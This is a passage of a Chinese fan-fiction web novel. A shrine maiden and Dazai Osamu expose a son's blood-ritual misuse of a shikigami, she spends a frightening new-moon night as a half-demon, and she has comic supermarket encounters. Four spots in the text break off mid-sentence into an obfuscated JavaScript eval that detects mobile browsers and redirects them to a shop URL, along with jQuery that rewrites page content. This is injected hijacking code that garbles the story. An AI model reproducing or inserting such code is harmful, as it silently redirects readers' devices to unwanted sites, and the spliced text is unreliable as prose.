“而血饲是最快的、最粗暴的方式。”我接上她的话。 松野芳子点了点头。 “直人少爷用血饲,把他的意志强加给了式神,但凤介少爷的执念不是‘服从’,是‘守护’。这两种东西撞在一起,式神就会……” “暴走。”我说。 “对,”松野芳子的声音沙哑得像是砂纸在摩擦,“它不知道该守护谁,也不知道该听谁的话,它只知道一件事,它必须存在。凤介少爷要它存在。” 她低下头,双手交叠在柜台上,指尖微微发白。 “我以为把它藏起来就好了,我以为没有人会发现它,我以为……” 她没有说完这句话。 太宰治把日记从柜台上拿起来:“请问我能看看这本日记吗?” 松野芳子点了点头。 太宰治翻开日记本。 我斜身凑到太宰治身边看去。 字迹和契约上的很像,但更工整一些,像是写字的人还有力气的时候写的。 第一行写着: 【今天是第一次咳血。兄长大人来看过我,站了三分钟,说了两句话:“好好休息,别想太多。”他走的时候没有回头。】 太宰治把日记朝我这边倾斜,继续翻页。 【松野说外面的银杏叶黄了,给我捡了一片回来,夹在书里。叶子很好看,和兄长大人年轻时穿的那件羽织一个颜色。】 又翻了几页。 【兄长大人今天没有来。松野说他在开会,我不怪他。我知道他很忙。九条家需要他。】 后面的日记字迹开始变得潦草。 【今天又咳血了,松野吓坏了,要去叫医生。我说不用。医生来了也没用。我知道自己的时间不多了。】 【我想把契约完成。如果我不能用身体守护九条家,至少可以用别的方式。但我不确定兄长大人会不会接受,他从来不相信这些东西。他相信的是权力、金钱、人脉。他相信一切看得见摸得着的东西。】 【所以我把它藏起来了。等到他需要的时候,等到他发现自己相信的东西不够用的时候,也许他会愿意看一眼。】 最后一页,字迹已经很难辨认了,歪歪扭扭的,有些字甚至只写了一半。 【兄长大人,我知道你不会看到这些。但我想让你知道,我不恨你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471688|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 【我只是有点遗憾。】 【遗憾没有来得及让你看到,我不是一个废物。】 日记在这里断了。 最后一页的右下角,有一片深色的污渍。已经干涸了很多年,变成了暗褐色。 是血。 松野芳子看着那片污渍,再也忍不住,哭了,眼泪从她深深的眼窝里淌出来,顺着脸颊上的皱纹往下流,一滴一滴地落在柜台上,洇出深色的圆点。 松野芳子抬起头,泪眼模糊地看着他:“式神的暴走,需要纯净的灵力来平息。但光靠灵力不够,它需要的不是力量,是方向。是凤介留给它的那个‘守护’的方向。” 太宰治把日记合上,轻轻地放回盒子里。 我抽出一张纸巾递过去:“松野女士,我们需要这本日记,能否借我一用,我保证,会让凤介先生的式神回归原本的模样。” 松野芳子没有说话。她低下头,看着柜台上的木头盒子,看了很久。 她扶着柜台,慢慢站起来,双手拿起盒子递到我面前:“拜托你了,巫女小姐。” * 我们回到九条家的时候,已经是下午了。 大友管家在门口等着我们:“几位族里的长辈担心家主,也闻声而来,说是要听听两位的调查结果。” 太宰挑了挑眉:“哦?这么热闹?那就一起听吧。” 会客厅比昨天的会客室大得多,能容纳二三十人,此刻,房间里已经坐满了人。 九条雪乃夫人坐在上首的位置,她的身边坐着一个五十多岁的男人,是九条家的族叔,我昨天见过一面,叫九条义明,据说在族里颇有分量。 九条直人坐在对面的一排椅子上,旁边还有几个年轻人,大概是他的同辈或者助手。 我和太宰治走进去的时候,所有人的目光都集中了过来。 太宰治走到房间中央,环顾了一圈,然后笑眯眯地开口了:“来了这么多人,看来大家对家主的病都很关心呢。” 没有人接话。 “那我们就直接开始吧。” 他从风衣口袋里掏出一沓纸,放在桌上。 那是他这两天整理的笔记,还有从大友那里要来的各种记录。 “首先,我想先确认一件事——家主的病,不是普通的病。” 太宰治说这句话的时候,目光扫过在场的每一个人:“不是病毒,不是细菌,不是什么现代医学能解释的东西,它是一种‘反噬’,是几十年前的一笔交易,现在到了该还账的时候了。” 房间里众人噤声。 九条义明皱了皱眉:“什么交易?” 太宰治没有直接回答,他从那沓纸里抽出一张,展开。 那是一份很旧的文件,纸张已经泛黄,上面的字迹也有些模糊了,但能看清标题—— “九条家产业让渡协议书,昭和二十三年。” “这是凤介先生在昭和二十三年签署的一份文件,”太宰治举起文件,“内容是将他名下的所有产业继承权,无条件让渡给兄长九条龙一郎。” 9. 来横滨的第九天 九条义明的表情变了一下:“凤介在术法上的天赋,九条家的老人都知道,但他的身体太弱了,没法像正常人那样参与家族事务,所以龙一郎做了一个选择,让弟弟放弃继承权,专心研究术法,而他自己,则掌握了家族所有的实权。” “这不是什么秘密,”九条义明说,“当年的事情,族里都知道。” “对,这不是秘密,”太宰治点了点头,“但有一件事,可能不是所有人都知道。” 他抽出另一张纸:“凤介先生在签署这份文件的同时,还做了一件事,他用自己研究的一种术法,一种禁术帮助兄长‘清除’了一些障碍。” “什么障碍?”九条义明追问。 太宰治:“当时九条家有几个旁系的亲戚,对龙一郎先生继承家主的位置有异议,他们联合起来,想要在族会上提出反对,但在族会召开的前三天,这几个人同时病倒了,不是什么大病,就是发烧、头晕、浑身无力。医生说查不出原因,休息几天就好了,但族会开不成了,龙一郎先生顺利继承了家主的位置。” 屋里众人面面相觑。 九条雪乃的手指在膝盖上微微收紧了一下。 “那几个人后来都好了,”太宰治把文件放在桌上,“没有任何后遗症,但龙一郎先生知道,这不是巧合,是凤介先生用术法帮了他。” 他顿了顿:“而那个术法,是有代价的。” “什么代价?”九条义明问。 太宰治:“凤介先生的身体,从那以后,凤介的身体越来越差,不是肺痨,肺痨是后来才得的。是灵力透支,他用自己为数不多的生命力,帮兄长铺平了路。” 九条直人翔坐在对面,表情看不出什么变化,但他的嘴唇抿得很紧。 “凤介先生知道自己在做什么,”太宰治看了眼九条直人,“他也知道后果,他的日记里写得很清楚——‘兄长大人需要这个位置。我能给的,就只有这些了’。” 说完,太宰治给了我一个眼神,我把怀里的盒子放在桌上,取出日记本。 纸张在灯光下泛着旧黄。 “凤介先生在日记里写了很多,”我把日记本对着大家,翻开页面,让他们确认这是九条凤介的字迹,九条明义几个人纷纷凑上前辨认,“他写他对兄长的感情,不是怨恨,不是嫉妒。是一种很复杂的、他自己也说不清楚的东西。有崇拜,有不甘,有想要被认可的渴望,也有一种很深的、没有办法说出口的——” 我停顿了一下。 “守护。” “他想要守护兄长,不是因为义务,不是因为家族的规矩。是因为他觉得,兄长是九条家的支柱。只要兄长好好的,九条家就不会倒。” “所以他在死前,完成了那卷式神契约,他把自己最后的意志封存在里面,等到兄长需要的时候,它会保护他。” 我越过众人,望向九条直人:“但他没有料到一件事。” 我:“他没有料到,有人会把他的守护,变成武器。” 窗外庭院里掠过一阵风,树叶被吹得沙沙作响。 九条直人的喉结动了动,声音有些沙哑:“巫女小姐,你什么意思?” 我从口袋里掏出一样用白纸裹着的东西,放在桌上:“这是我从祠堂香炉里取出来的灰烬,里面有血饲的痕迹,用血饲来激活式神契约,这不是凤介的本意。” 我转向九条直人:“请问直人少爷,你对式神契约做了什么?” 九条直人没料到我会当着九条族人的面如此直接地揭发他的罪行,他做贼心虚,拍案而起吼道:“我什么都没做!我根本不知道什么式神契约,你在血口喷人!” “你不知道?”我不紧不慢道,“那直人少爷能解释一下,为什么你的指纹会出现在祠堂暗格的木板上?为什么你的书房里有一本关于血饲术法的笔记?为什么——” “够了!”九条直人愤怒地指着我,“你是什么东西?一个来路不明的巫女,凭什么在九条家的族会上质问我?” 太宰治眼神微冷:“琉璃小姐对你的每一件质控,我都有过调查,已经获取了确凿的证据,需要我当众展示出来吗?” 说完,太宰治的手伸向自己的风衣口袋。 武装侦探社在横滨是响当当的存在,九条直人不疑有他,被太宰治这番话震住,脸涨得通红,粗粗地喘了几口气,太阳穴上的青筋暴起来,直接破罐子破摔的承认:“我是九条家的继承人!我做的一切都是为了这个家族!父亲他已经老了,他的那些决策会把九条家拖进泥潭,我只是想让他早点退下来,安享晚年,这有什么错?!” 九条雪乃跌跌撞撞地扶着桌子站起身,不可置信地望着儿子:“直人,你……你怎么能伤害你的父亲!” “我没有害他!”九条直人咆哮,“我只是想让式神去影响他,让他觉得累了,觉得该休息了,我没有想害他!我只是——” “只是学艺不精。”太宰治接话道。 我看向众人,解释道:“血饲是最粗暴的控灵方式,直人少爷用它来强行扭曲凤介先生的执念,但凤介先生的执念是守护,所以式神不会服从任何人的自私的欲望,它只会按照自己的本能行事,直人少爷的血饲让它混乱了,它开始暴走,无差别地攻击所有和九条家血脉相关的人。” 太宰治从桌上拿起那张纸,上面记录着大友管家提供的线索:“九条家主卧室里的翻书声,是式神被激活后在找东西,它在找凤介留下的守护的指令,但它找不到,因为指令在你的血饲里已经被扭曲了,它不知道自己该做什么,所以它只能不断地释放怨气,侵蚀每一个靠近它的人。” 他看着九条翔:“你父亲的病,是你亲手加重的。” 九条直人站在那里,脸上的血色一点一点地褪去。 “我只是……”他痛苦地捂住脸,像是一个做错事的小孩子在无力地辩解,“我只是想让他看看我,父亲总是觉得我不行,觉得我做不好,我想让他知道,我也可以……我也可以做成一件事……” 他轻声,一遍遍地呢喃:“我只是想让父亲看看我……” 九条义明缓缓开口:“直人,你知道你父亲为什么总觉得你不行吗?” “因为你像他,”九条义明说,“太像他了,他年轻的时候也做过同样的事,为了证明自己配得上那个位置,用错了方法,伤了对的人,他花了三十年才明白这个道理,他没有来得及教给你。” 九条直人抬起头,眼眶通红。 九条雪乃身子晃了一下,但她没有扶任何东西,慢慢走到九条直人面前。 直人站在那里,比她高出一个头。 她抬起手,给了九条直人一个巴掌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471689|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你糊涂啊,你知不知道这样会害死你父亲的!”九条雪乃心疼地搂住儿子,“傻孩子……” 九条直人的眼泪一颗接一颗地掉了下来。 * 傍晚,我在九条家的庭院里跳神乐舞净化式神。 庭院中央有一棵巨大的银杏树,树冠在暮色中像一把撑开的金色大伞。树下有一片圆形的空地,铺着白色的砂石,是平时举行祭典的地方。 灵力从我的指尖流淌出去,像月光一样铺满了整个庭院。 我能感觉到那个由凤介的执念、九条直人的贪婪共同扭曲而成的存在在银杏树的枝桠间盘旋。 它很痛苦。 它的核心是守护,但它的外围裹满了污秽,血饲留下的、混乱的、不知道向何处去的愤怒和恐惧。 它不知道该做什么,它只知道一件事,它必须存在。 凤介要它存在。 我闭上眼睛,灵力像水一样渗入它的每一寸。 “没关系,”我在心里说,“你不需要知道该做什么。” “你只需要记得一件事,你是谁。” 灵体在我周围盘旋,发出低沉的、几乎听不到的嗡鸣声。 “你是凤介留下的光。你是他想守护的那个东西。你不会伤害任何人,因为那不是他想要的。” 灵力在它和我之间织成了一张网,细细密密的,像月光织成的绸缎。 我能感觉到它外围的污秽在一点一点地剥落,像剥洋葱一样。每一层剥开,都是一层不同的情绪。 最外面是愤怒,九条直人的血饲带来的、被强行扭曲的愤怒。 往里是恐惧,对消失的恐惧、对不被需要的恐惧。 再往里是悲伤。一个不被看见的人,用尽全部力气留下的最后的遗嘱。 最里面—— 是一声叹息,很轻,很淡,像是一个人在很远的地方,轻轻地呼出了一口气。 “谢谢你。” 灵体在银杏树的枝桠间缓缓地、缓缓地散开,像一朵花在暮色中绽放,又像是一缕烟在风中消散。 庭院里恢复了安静。 银杏树的叶子在晚风中沙沙作响,有几片金黄的叶子从枝头飘落,在暮色中旋转着,落在白色的砂石上。 回廊的另一端,九条龙一郎坐在轮椅上,被大友推了出来。 他的脸很瘦,眼窝深深地凹下去,整个人看起来像是被什么东西从里面掏空了,但他的眼睛是亮的。 他看着庭院里那片飘散的落叶,嘴唇颤抖着。 “凤介……”他的声音很轻,轻得像是一片叶子落在水面上,“对不起。” 他的眼泪从深陷的眼窝里淌出来,沿着脸颊上那些岁月刻出的沟壑往下流。 太宰治站在回廊的另一头,手里握着那卷契约。 在灵体暴走的临界点,就在那些污秽被剥离、但执念还没有完全散去的那个瞬间,他伸出手,用「人间失格」轻轻地触碰了纸卷。 灵体的形态在那一瞬间稳定了。 他看着庭院中央那个起舞的铃鹿琉璃,她赤红色的灵力像融化的夕阳流淌,那个痛苦了几十年的灵体在她的舞蹈中一点一点地安静下来。 太宰治把手插进口袋里,微微侧过头,看着暮色中最后一缕赤红色灵力消散,与血红的夕阳融为一体。 10. 来横滨的第十天 事件解决后,九条夫人为表感谢,热情邀请我和太宰治前往家族温泉别墅休憩。 “两位这两天辛苦了,我在箱根有一处温泉别墅,虽然不大,但汤泉是自家引的活水,水质很好,今晚月色正好,温泉最能舒缓心神,如果二位不嫌弃的话,今晚就去那边歇一歇吧?” 她说得很自然,像是在邀请老朋友去家里吃顿饭。 他的话还没说完。 “谢谢夫人,那我——”我眼睛一亮,刚想开口答应,却突然想起一件事,“请问今日是农历初一吗?” 夫人点了点头:“是的,今天是农历初一,是朔日,怎么,琉璃小姐对日子有讲究?” 我的手指收紧了。 朔日,农历初一,月亮隐没的日子。 阳光从障子纸上透进来,把整个茶道室照得温暖而明亮。茶釜里的水还在咕嘟咕嘟地响着,抹茶的香气在空气中缓缓浮动。 “感谢您的好意,”我低下头,没有留下任何商量的余地,“温泉的邀请我心领了,但我今晚有事,必须回去。” 夫人:“这样啊……那真是太遗憾了。琉璃小姐是有事要处理吗?” “是,”我说,“有些……私事。” 太宰治耸耸肩膀:“我和琉璃小姐一起回去,谢谢款待。” 我和太宰治并肩走出九条家,到了门口,正好来了一辆出租车,我挥手叫停,拉开车门:“太宰先生,你先请,我自己单独坐一辆。” 太宰治不理解:“诶~为什么?武装侦探社和竹之宫神社顺路呀——” 我一把抓住太宰治的手腕,把他塞进了回程的车里。 他的手腕很细,隔着绷带能感觉到下面清瘦的骨节。 车门关上之前,太宰扒着车窗探出头来,头发被风吹得有些乱,表情可怜巴巴的,像一只被主人丢在宠物店门口的大型犬:“琉璃小姐好无情——” 我没有看他。 我对司机说:“送他去武装侦探社。” 车门关上了。 汽车发动,缓缓驶出九条家的大门。太宰治脸贴在车窗玻璃上,嘴巴一张一合地说了什么,隔着玻璃听不见。 车尾消失在街角。 我站在九条家的大门口,深深地吸了一口气,然后慢慢地吐出来。 天色还亮着,太阳在西边的山脊线上方,离落山大概还有一个小时。 还来得及。 * 打车回竹之宫神社的路程大概要四十分钟。 我坐在出租车的后座上,手机握在手心里,屏幕亮着,显示着实时刷新的日落时间。窗外横滨的街景在飞速后退——山手的洋楼、元町的商店街、港未来的摩天轮,一切都在午后的阳光下显得明亮而喧嚣。 但我已经感受不到那些了,我的身体里的灵力在一点一点地消退,像沙漏里的沙粒一粒一粒地坠落。 那种从战国时代开始就流淌在我血液里的与生俱来的力量,此刻正在以一种不可逆转的速度从我的身体里撤离。 朔日之夜,妖力尽失,仅存的灵力也只够张开一层最微弱的结界。 这是我最大的秘密。 半妖之身。 母亲的血液里流淌着人类的心跳,父亲的血液里燃烧着妖怪的火焰,我在两个世界的夹缝中出生,在战国时代的硝烟和月光下长大,朔日之夜,我白天是巫女,夜晚是一个灵力尽失的普通女孩。 所以我害怕黑暗。 不是怕黑暗本身。是怕那个在黑暗中无处躲藏的自己。 出租车在一个红灯前停下来。司机从后视镜里看了我一眼:“小姐,你脸色不太好,要不要去医院?” “不用,”我摇头,“麻烦您开快一点。” 绿灯亮了,司机踩了一脚油门。 手机屏幕上的数字跳到了五点零三分。 二十分钟。 窗外的天色已经开始暗了,从天际线开始一点一点浸染的灰蓝色。 我的手指在膝盖上攥紧了绯袴的布料。 十五分钟。 车终于驶入了竹之宫神社所在的那条街,两侧的民居一栋接一栋地从窗外掠过,每一扇窗户里都亮起了灯。 “到了。”司机把车停在神社的石阶下面。 我付了钱,推开车门。 天色已经彻底暗了。 最后一抹暗红在天边消失的瞬间,我感觉到身体里那根最后的弦“啪”地断了。灵力的余温从指尖褪去,像被风吹散的灰烬。膝盖软了一瞬,我扶住车门,稳了稳,然后关上门。 “谢谢。”我对司机说。 出租车开走了。 我转身,开始爬石阶。 石阶两侧的石灯笼里没有点灯,今天没有人来参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471690|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜,老神官大概又喝醉了,忘了点。 我的腿因为恐惧在发抖。 那种在每个朔日之夜都会准时到来的恐惧,像一条冰凉的蛇,从脚踝开始,一圈一圈地缠绕上来。 战国时代的黑暗里有妖怪,有那些形态扭曲、面目可憎的、以人类的恐惧为食的东西。我知道它们存在,因为我见过它们,和它们战斗过,用灵力将它们一只一只地驱逐过。 但现在没有灵力了。 现在的我,和那些在黑暗中瑟瑟发抖的普通人类,没有任何区别。 我几乎是冲进了神社的大门,绕过正殿,穿过走廊,跑到自己房间的门口,手指在拉门上摸索了一下,找到凹槽,猛地拉开,然后进去,反锁。 锁扣“咔哒”一声落下的瞬间,我的背靠着门,慢慢地、一点一点地滑坐下去。 地板是凉的,走廊上的风从门缝里渗进来,吹在后颈上,激起一层细密的鸡皮疙瘩。 我坐在地上,抱着膝盖,把脸埋进臂弯里。 五分钟后,我的头发在生长。 每个朔日的夜晚,当妖力退潮之后,我的头发会开始疯长。 起初是发尾触及了地板,我听见它们和榻榻米摩擦的沙沙声,像春蚕啃食桑叶。。 我不用看镜子,都知道自己是什么样子,头发像黑色的瀑布一样从头顶倾泻下来,铺满了身后的地板,还在不断地地延伸。脸被发丝遮住了大半,只露出一小截下巴和紧紧抿着的嘴唇。 越来越接近战国时代那个被村民恐惧的“妖怪”模样。 “妖女。” “怪物。” “不祥之物。” 那些声音穿越了五百年的光阴,从记忆的深处浮上来。 我抱紧了膝盖,把脸埋得更深了。 绯袴的布料被攥出了深深的褶皱。 房间里没有开灯,朔日的夜晚窗户外面是纯粹的黑。偶尔有风从窗缝里吹进来,带动檐下的风铃发出一声清冷的、孤独的响。 叮铃—— 然后归于沉寂。 我坐在地板上,被自己的头发包围着,像一只把自己裹进茧里的蚕。 没有灵力。 没有妖力。 没有月光。 什么都没有。 没关系,只是今晚。 天亮之后,一切就好了。 11. 来横滨的第十一天 九条家的事件结束之后,我在神社里整整睡了一天,醒来的时候已经是第二天的傍晚,肚子饿得咕咕叫,脑子里却前所未有地清明。 朔月之后我又是一条好汉。 这次九条家给的报酬很丰厚,回到神社之后,我又打开数了一遍。 数字比我预想的多了一倍不止。 我坐在自己的房间里,对着那沓钱发了很久的呆。战国时代没有这种东西,我至今对它的价值还停留在“能换多少米”的阶段。但凛告诉过我,这个数目足够一个普通人在横滨舒舒服服地过上大半年。 “琉璃酱,”佐佐木凛在走廊上探头进来,眼睛亮晶晶的,“发了这么多,不去买点好东西犒劳自己吗?” “比如?” “比如新衣服!你衣柜里那几件轮着穿了好久了,我都快背下来了,”凛掰着手指头数,“还有护肤品,你那张脸虽然底子好,但天天晚上出去打打杀杀的,不好好保养怎么行。” 我摸了摸自己的脸,采纳了佐佐木凛的建议。 凛:“麻烦你要帮我带一盒车站那家店的铜锣烧回来哦。” 我:“没问题。” 周六的早上,我换了一身出门的衣服,素雅的米白色连衣裙,外面搭了一件薄外套,头发用一根木簪随意绾起来。镜子里的自己看起来和平时穿巫女服的样子不太一样,更像这个时代的年轻女人。 我对着镜子端详了一会儿,觉得还行。 横滨的周末比平日热闹得多。街上到处都是人,有带着孩子出门的家庭,有手牵手的情侣,有推着购物车的老夫妇。阳光很好,照在街道两旁的建筑上,把整座城市镀上了一层温暖的色泽。 我走进一家大型超市,佐佐木凛推荐的,说这里什么都有,而且经常有促销活动。 超市里人很多,空气里混杂着各种食物的气味,还有此起彼伏的广播声。我推了一辆购物车,从入口开始慢慢逛。 首先是食材区。 凛说要做烘焙的话,低筋面粉和淡奶油都在特价。我在货架前站了一会儿,对比了几种品牌的价格和分量,最后选了最划算的那一组。鸡蛋要买新鲜的,我拿起一盒看了看生产日期,又放回去,换了一盒更新的。 然后是生活用品区。 我站在那一整面墙的瓶瓶罐罐前面,完全不知道该选什么。什么“保湿”“美白”“抗皱”,每个字我都认识,但组合在一起就变成了天书。 最后我选了一套包装最好看的。 看不懂的东西,就选好看的。这是我的购物哲学。 推着购物车继续往前走,经过一整排货架的时候,我的脚步顿了一下。 一整面墙的帽子。从棒球帽到渔夫帽,从贝雷帽到礼帽,各种颜色各种款式整整齐齐地挂在展示架上。 一个身形娇小的少年在展示架前,手指抵着下巴,站在一排帽子前审视,拿起一顶礼帽,翻来覆去检查帽子的材质、缎带宽度、帽檐弧度。。 少年一头橙棕色的长发,披着黑色夹克,脚上踩着一双看起来就很贵的短靴,但他头上也戴着一顶旧礼帽。 看来是来寻找替代品,或者扩充收藏的。 我站在不远处,看了他一会儿。 他大概十五六岁的样子,皮肤很白,五官精致得像个瓷娃娃。但眉头微微蹙着,嘴唇抿成一条线,整个人透出一种和年龄不太相符的煞气。 这孩子是对选帽子很苦恼吗?看起来是中学生,可能零花钱有限,想买一顶重要的场合用的帽子? 出于一种年长者的善意,我走了过去。 “需要帮忙吗?”我微笑,“这里的帽子种类很多,确实容易挑花眼。” 他转过头来。 近距离看,他那双钴蓝色的眼睛更加漂亮了,像两颗被海水打磨过的宝石,他看着我的时候,眉头微微蹙了一下,像是有些意外会被陌生人搭话。 但教养让他保持了礼貌。 “啊,我在看……” 他的话音未落,我的视线已经落在旁边一个展示架上。 那个架子的标签上写着“青少年潮流区”,上面挂着几顶设计花哨的帽子。棒球帽、渔夫帽,帽檐上印着夸张的图案,有的还带着亮闪闪的铆钉和亮片。 其中一顶藏青色的棒球帽引起了我的注意。 标签上写着:“视觉增高5cm!青春必备!” 我眼睛一亮。 太好了。 这孩子看起来就是那种会介意身高的类型,不是说他矮,只是……比较精致,而且他还在长身体的年纪,一定很需要这种能提升自信的小设计。 我拿起那顶帽子,转身递给他。 “试试这个吧!”我热情地介绍,“这个款式现在在年轻人中很流行,而且——” 我用手背挡住最,压低声音:“里面有特别的设计,能让你看起来更高挑一些。中学生的话,参加学校活动或者和朋友出去玩,都很合适哦!” 少年脸上的礼貌表情冻结。 他咬牙切齿,一个字一个字往外冒:“中……学……生?” 我眨了眨眼。 怎么了?我说错什么了吗? 噼啪—— 以他为中心,空气微微震颤了。 我能感觉到灵力场在那一瞬间出现了波动,像是有什么东西在空气中炸开了一圈看不见的涟漪,脚下的大理石地面发出细碎的、令人牙酸的龟裂声。 暗红色的光芒从他周身隐约泛起,不是耀眼的、张扬的那种,而是像一头被激怒的野兽微微睁开了眼睛,警告意味十足的光芒。 我想起了自己血脉觉醒时的样子。 那个时候,浴火重生之后,我的身体里也经常不受控制地溢出金红色的光芒。形态不同,但本质相似,都是古老血脉在情绪激动时的自然外溢。 难道这孩子也有古老的血脉?是某种火焰或生命相关的异能?在公众场合情绪激动时泄露了力量。 出于对同类的保护,我决定安抚他。 “别紧张!没关系,我明白的!”我急忙放下帽子和购物袋,双手在胸前轻轻摆动。与此同时,我集中精神,让自己掌心泛起一层柔和的光芒,金红色的,如同晨曦初露时天边第一缕光。 我刻意压低了强度,只让它像一小团跃动的烛火,安静地躺在掌心里。 “你看,我也有类似的力量。”我展示着掌心的光,笑容灿烂,“所以不用害羞,也不用害怕力量泄露。要学着控制它,让它成为你的伙伴哦。” 帽子少年愣住了,低头盯着我掌心里那团金红色的光。 他的表情在短短几秒钟内经历了从愤怒到困惑再到荒诞的完整旅程。 然后,他身上的红光骤然熄灭了。就像有人拔掉了电源。 他深吸一口气。 跟一个完全不在一个频道、还自以为好心的人发火,显得他像个笨蛋。 他臭着脸,转过身,从原本看中的架子上取下那顶做工精良价格不菲的经典款黑色礼帽,走向收银台。 “喂,结账。” 他把帽子放在柜台上,声音硬邦邦的。 他刷了卡,那张卡黑漆漆的,看起来就不是普通人能持有的,然后拎着纸袋,头也不回地大步离开。 经过我身边的时候,他的脚步顿了顿,侧头,用极其复杂的眼神瞥了我一眼。 我站在原地,掌心的光芒慢慢熄灭,有点茫然地眨了眨眼。 啊……他走了。是害羞了吗?不过最后那眼神,好像有点凶,是我多心了吧?真是个有点别扭的孩子呢。 我摇摇头,弯腰捡起刚才放下的购物袋和那顶增高棒球帽,把它重新挂回货架上,继续推着购物车往前走。 此刻的我完全不知道,自己刚刚在横滨最凶恶的重力使的雷区跳了一曲踢踏舞,并因为过于离谱而避免了一场恶战。 * 我再次去超市,是次周的周二傍晚。 今天超市搞促销打折。 傍晚的超市比周末更加拥挤。 我推着购物车,仔细对照手机里的清单。 “鸡蛋、低筋面粉、淡奶油……”我念着,抬头看了一眼货架上的标签,“嗯,都在特价区呢,运气真好。” 特价区在超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢您的推荐,”我礼貌地微笑,“不过我今天主要是来买烘焙材料的。” “烘焙?” 他的眼睛更亮了:“那么您一定需要一只优秀的搅拌碗!请跟我来,刚才我看到那边有玻璃碗套装也在做活动——” 他转身就要往另一个方向走。 “不、不用了,谢谢您。”我连忙摆手,被他过度的热情弄得有些不知所措,“我已经选好了,没想到您对厨具真的很了解呢。” “哈哈,毕竟现在要精打细算地生活嘛。”他爽朗地笑起来,“每一日元都要花在刀刃上!这口锅,就是刀刃上的闪光点!” 他说这话的时候,笑容坦荡而明亮,没有一丝窘迫或遮掩,仿佛精打细算不是什么值得羞耻的事情,而是一种值得骄傲的生活哲学。 我看着他,心里涌起一股敬意。 果然,家境困难却依然这么乐观积极,还乐于助人。真是位品格高尚的先生。不能打击他的热情。 于是,我非常真诚地看着他,用鼓励的语气说:“您一定是一位非常热爱家庭、擅长料理的好丈夫和好父亲。即使在暂时的困境中,也依然用心为家人挑选每一件物品,这份心意比任何昂贵的厨具都珍贵。” 他笑着,等着我继续说。 “祝您和您的家人早日度过难关,生活越来越好。” 他的笑容僵了一下。 “……?” 他张了张嘴,似乎想说什么,但什么都没说出来。 “呃……谢谢你的祝福,女士。祝你烘焙成功。” 他拿着那口特价锅,转身走向另一个货架。 步伐比来时快了一些,背影略显仓促。 我站在鸡蛋货架前,看着他离去的背影。 他好像有点不好意思了。真是谦虚又坚强的人啊。我也要加油才行。 我拿起最划算的那盒鸡蛋,一板30个,比买三盒10个装的便宜了50日元,我把鸡蛋放进购物车,心情愉快地继续采购。 今天要多做几个小蛋糕,分给神社附近的孩子们。 12. 来横滨的第十二天 又到了一年一度的夏夜祭典。 这是我来横滨参加的第一个夏夜祭典。 “今年办个小的,”老神官端着茶杯,眯着眼睛看院子里刚开的那株紫阳花,“就后院那一块,摆几个摊子,点些灯笼,跳个神乐舞意思意思。咱们神社好久没热闹过了。” 老神官表面轻描淡写,但他惦记这件事已经很久了,上个月就开始翻箱倒柜地找祭祀用的那套旧装束,还把后院那棵银杏树下的杂草拔了个干干净净。 “巫女舞,”他看着我,“琉璃,你来跳。” 我正在喝味增汤,差点呛着:“我?” “神社里就你的灵力最纯粹,”老神官吹了吹茶杯冒出来的热气,“祈福的舞,不是光动作到位就行的,得有‘东西’在里头。凛和千鹤跳得好看,但那个‘东西’不够。” 他说“那个东西”的时候,手指在自己胸口点了点。 我没有再推辞。 老神官虽然平时看起来没个正形,但在和神事有关的事情上,他从不开玩笑。 “对了,”他拈起一块腌萝卜塞进嘴里,嚼得嘎吱嘎吱响,“我已经跟武装侦探社那边说了,让他们也来。社长说体验传统文化,挺乐意的。” “热闹啊,”老神说,“祭典就是要人多才好玩,而且琉璃,你跟他们不是挺熟的吗?上次九条家的事,不也是一起办的?” 商量好祭奠日子的第二天,太宰治来神社送过一次谢礼,一盒包装精美的羊羹,说是侦探社全体的一点心意,他在社务所坐了不到一刻钟,跟老神官喝了两杯茶,逗了一会儿院子里那只胖橘猫,然后就走了。 我当时在外面扫地,正好碰见了出门的太宰治。 走之前,他站在鸟居下面回头看了我一眼。 “琉璃小姐跳舞应该很好看吧,很期待祭奠上的舞蹈。” * 祭典在傍晚六点开始。 后院那棵大银杏树上挂满了灯笼,橘黄色的光从枝叶间漏下来,在地上落了一地碎金子,摊位不多,捞金鱼的、卖苹果糖的、套圈圈的、烤团子的,但都扎了彩色的布帘,风一吹就呼啦啦地飘。 